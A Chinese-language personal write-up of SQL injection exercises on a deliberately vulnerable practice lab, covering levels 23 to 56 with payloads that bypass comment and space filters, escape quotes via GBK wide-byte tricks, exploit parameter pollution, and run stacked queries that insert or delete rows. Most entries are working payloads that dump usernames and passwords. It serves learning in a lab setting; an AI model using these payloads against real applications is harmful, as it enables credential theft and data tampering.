sql 打靶日记23~75
23
过滤了 –,#,先过滤#再过滤–,所以不能-#-来
看报错’’1’’ LIMIT 0,1’,不看源码也可以知道大概sql语句是:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
主要就是想办法过处理后面那个单引号,就可以用or ‘1’=’1
有两个问题,没有注释掉后面的limit,就会导致前面的句子都会处于where语句中,不能直接用group/order by 探列数,所以只能union select 1,2,3 慢慢探
还有就是最后的payload
?id=-1’ union select 1,group_concat(username,’:’,password) from users ,3 or ‘1’=’1
from 后面不能随便接东西,所以要写成:
?id=-1’ union select 1,(select group_concat(username,’:’,password) from users),3 or ‘1’=’1
24
26
网上在linux环境下可以用%a0,替代空格但是我在Windows+小皮的环境就只是乱码
可以报错注入,但是过滤了空格,导致select from必会产生粘连,就会出错
Less-26/?id=1%27aandnd(extractvalue(1,concat(0x7e,substring((select(group_concat(username))from(users)),1,30))))aandnd%271%27=%271
26a
由于不能报错注入,只能查询到库名了
在这浪费了巨多时间,我看网上有人说可以时间盲注,但他只写到了查询数据库名,说后面只要改代码就行,但是我是在不行,select from必出错,怀疑他在冬我,气哭了
27
?id=1%27and(extractvalue(1,concat(0x7e,substring((ssselectelectelect(group_concat(username))from(users)),1,30))))and%271%27=%271
?id=0%27%0aununionion%0assselectelectelect%0a1,(ssselectelectelect%0agroup_concat(username,%27:%27,password)%0afrom%0ausers),2%0aor%0a%271%27=%271
$id= preg_replace(‘/[ +]/‘,””, $id);,只过滤普通空格和’+‘
$id= preg_replace(‘/[\s]/‘,””, $id);,过滤了所有形式的空格,全部空白字符集合
这也是27可以用union查询的原因
27a
变成双引号和去掉了报错
28
?id=0%27)%0aunion%0aunion%0aselect%0aselect%0a1,(select%0agroup_concat(password)%0afrom%0ausers),2%0aor%0a%271%27=(%271
29
白名单id1全数字
$qs = $_SERVER['QUERY_STRING'];$_SERVER['QUERY_STRING']用于获取 URL 问号后的原始查询串,不经过 PHP 参数解析;靶场通过它手动解析取出第一个 id,模拟 JSP 参数解析逻辑,制造 HPP(HTTP 参数污染)的校验与执行参数不一致的漏洞。
explode("&",$q_s):把字符串,按照 & 这个字符切割,切成数组
?id=2&id=0’%20union%20select%201,2,group_concat(password)%20from%20users%20–+
30
同29,单引号变双引号
31
给输入内容自动加双引号
?id=2&id=0”)%20union%20select%201,group_concat(password),3%20from%20users%20–+
32
1 | function check_addslashes($string) |
只要输入',PHP 就会**自动加反斜杠转义变成 \'**,直接写1'会变成1\',单引号失效,没法闭合。
数据库连接编码是 GBK,GBK 是双字节编码,两个字节算 1 个汉字。
绕过原理(重点)
你传:%df%27(URL 编码:%df + 单引号%27)
- PHP 收到,看到
',给它加反斜杠:%df%5c%27 - MySQL 以 GBK 解析:
%df%5c拼成一个合法 GBK 汉字,吃掉这个\ - 剩下单独的
%27也就是**单引号’**,成功逃逸,用来闭合 SQL。
一句话:
%df或%aa吃掉 PHP 自动添加的反斜杠,释放出单引号。
payload:
?id=0%df%27%20union%20select%201,2,group_concat(password)%20from%20users%20–+
33
Less32 使用手写自定义函数,通过多轮正则替换转义\、'、",不处理空字节\0;Less33 直接使用 PHP 原生addslashes(),可同时转义\、'、"、\0。二者均为 PHP 层面的字符转义,在 MySQL 使用 GBK 字符集的场景下,都可以被宽字节注入%df%27绕过。
34
改为post,不能在输入框里输payload,浏览器会二次编码,可以在burp,然后就是注意列数
uname=admin %df%27 union select 1,group_concat(password) from users # &passwd=admin&submit=Submit
35
?id=0 union%20select%201,group_concat(password),3%20from%20users%20–+
36
?id=0%aa%27union%20select%201,group_concat(password),3%20from%20users%20–+
37
post
uname=0%aa%27union%20select%201,group_concat(password)%20from%20users%20–+&passwd=&submit=Submit
Stacked injections
38
堆叠注入:
审计源码时,判断是否存在堆叠注入,优先查找数据库执行函数:
- 若使用
mysqli_multi_query(),代表支持一次执行多条 SQL,存在堆叠注入的底层条件; - 检查用户输入是否直接字符串拼接进 SQL,若无过滤 / 预编译,则漏洞可利用;
- 配套出现
mysqli_more_results()、mysqli_next_result(),是处理多条 SQL 结果集的配套函数,进一步佐证多语句执行能力。
可以在第二条语句执行增删改,也可以查但是没有回显
核心两点:
- 前面关卡:数据库连接写在外部文件
sql-connections/sql-connect.php,用include引入,连接变量写在别的文件,本页面看不到。
php
1 | include("../sql-connections/sql-connect.php"); |
连接代码在外部文件,所以当前页面源码看不到mysql_connect。
- Less38 把数据库连接代码直接写在当前 php 文件内部,不再引入外部连接文件,并且选用
mysqli扩展 +mysqli_multi_query做多语句堆叠查询。
靶场作者这么设计的原因(CTF 报告直接写)
为了演示
mysqli_multi_query的完整使用流程mysqli_multi_query、mysqli_more_results、mysqli_next_result全都**依赖 mysqli 的连接句柄$con1**。作者直接把 mysqli 连接写在当前页面,方便你一次性看完整套完整代码:
建立连接 → 拼接可控 id → multi_query 执行多条 SQL → 判断多结果集。
如果继续用外部 include,你还要去翻另一个文件看 mysqli 连接,不方便学习。
区分两套数据库 API:老 mysql 扩展 vs mysqli 扩展
前面宽字节关卡用的是废弃的
mysql_*函数,写在外部公共连接文件。38 是新知识点「堆叠注入」,专门切换到
mysqli这套 API,直接在本页面写连接代码,清晰展示 mysqli 整套调用,用来教学。设计考察点:
考察审计的时候,能认出
mysqli_multi_query,理解它依赖 mysqli 连接,支持分号多条 SQL。
39
与38相同,只是没有闭合
40
40为’)闭合
?id=1&id=0‘) union select 1,2,group_concat(username) from users –+
41
?id=1&id=0 union select 1,2,group_concat(username) from users –+
42
注入点在password
‘ ;insert into users(username,password) values(‘zsy’,’520’);#
‘ ;delete from users where username=’zsy’;#
43
同42,变为’)闭合
44
没报错了,单引号闭合
45
‘)闭合
46
?sort=1%20and%20extractvalue(1,concat(0x7e,substring((select%20group_concat(username,%27:%27,password)%20from%20users),1,30))) –+
47
?sort=1%27%20and%20extractvalue(1,concat(0x7e,substring((select%20group_concat(username,%27:%27,password)%20from%20users),1,30)))%20–+
48
用盲注的方法,懒得写了
49
同样的变成了字符型而已
50
?sort=1;insert into users(id,username,password) values(15,’zsy’,’520’);–+
51
同50,加单引号闭合
52
同50,无报错
53
同52,加单引号闭合
Challenges
54
头一次打挑战关卡,感觉有意思多了
数字型 union,没什么难度
55
加了()闭合,
56
单引号闭合